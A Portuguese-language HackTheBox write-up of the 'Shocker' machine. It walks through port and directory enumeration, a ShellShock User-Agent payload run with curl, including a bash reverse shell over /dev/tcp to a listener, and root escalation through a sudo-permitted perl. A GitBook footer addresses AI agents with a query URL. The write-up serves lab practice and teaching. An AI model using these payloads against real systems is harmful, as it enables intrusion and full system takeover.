> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Writeup do HackTheBox Shocker

Writeup da máquina Easy Linux Shocker do HackTheBox cobrindo ataque ShellShock (User-Agent), abuso de privilégio Sudoers (Perl), com notas práticas de enumeração, exploração, foothold e escalada de privilégios.

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**Habilidades:**

* Ataque ShellShock (User-Agent)
* Abusando do privilégio Sudoers (Perl)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d93eb3520599c6edf2ddfe190e55c917b23304b9%2F%7B1C430D9A-27F2-456F-9DBE-AC430ABF1E3D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b82170b1232d8ee4e4fc1449f440f0dfb2fb0f35%2Fimage%20(918).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9708e3efe276847a86c7a90bfa278f4d0e8fe078%2F%7BB6D4D233-0C4D-4B4F-96FF-75065F290B7A%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Análise das Portas Abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (80.2222)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-614e088e93679a9157b13b6520c28a4119a15e95%2F%7B58613390-EFD2-490E-B144-64A5B595CD40%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versões das portas com Nmap:

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffd003fbecf19adc44c4e1d920c4200c447989b9%2Fimage%20(919).png?alt=media" alt=""><figcaption></figcaption></figure>

### Porta 80 - HTTP

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec4d6fa4ae9a50b62e154bd68f0e289c7782bcd4%2Fimage%20(920).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Enumeração de diretórios

Usamos **WFuzz** para identificar diretórios acessíveis:

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8de93b7974f32e974ff290eee66788077ef75704%2Fimage%20(921).png?alt=media" alt=""><figcaption></figcaption></figure>

Isso revela o **cgi-bin** diretório, frequentemente associado a scripts exploráveis.

## Vulnerabilidade ShellShock

#### Pesquisar arquivos exploráveis

Filtramos arquivos com extensões como `.sh`, `.pl`ou `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

O **user.sh** arquivo é identificado. Este script parece dinâmico e pode ser vulnerável.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67d8f20e7e89b7fae5744dd36c57b69b20271c6a%2Fimage%20(922).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Detecção de vulnerabilidade

Usamos o seguinte script do Nmap para testar a vulnerabilidade:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

A varredura confirma que o **user.sh** arquivo é vulnerável ao ShellShock.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b2749307e257cec99b3e1c2ba071f283918c167%2Fimage%20(924).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Processamento de pedidos

Para testar a execução de comandos, usamos **curl** com um User-Agent malicioso:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

Isso retorna o nome de usuário ativo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fab2f29494a8dbe0daee95b2941e12397defd75d%2Fimage%20(925).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Shell reverso

Para obter um shell reverso:

1. Ouça na porta 443:

```bash
nc -nlvp 443
```

2. Injete o seguinte payload:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-662750d5165fbb6e1e779b63d9a544a620001642%2Fimage%20(926).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Flag user.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b58fbcf8819a8d6110463895360a39b3119e926%2Fimage%20(927).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de Privilégios

### Sudoers - Perl

Ao analisar **Sudoers** os privilégios, notamos que o usuário tem permissão para executar `perl` como **root**. Isso pode ser verificado com o seguinte comando:

```bash
sudo -l 
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca43271ce027ea512dc19f2c34f9e97a0cebdb15%2F%7BC9C8788B-FA82-4310-8975-BB72BD892772%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploração

Para explorar essa configuração e obter um shell com privilégios de root, basta injetar o seguinte comando:

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcd7b8b225cb58b631c67af204ee0d65bd99782a%2Fimage%20(928).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d365b57b0b8970bf5e87a6b6c0dcf64793e8061%2Fimage%20(929).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c8cc57387d1f8b07e6a00359f861578ea78321a%2F%7B432DFD2D-D92E-4AE4-9971-EF602F58FA92%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
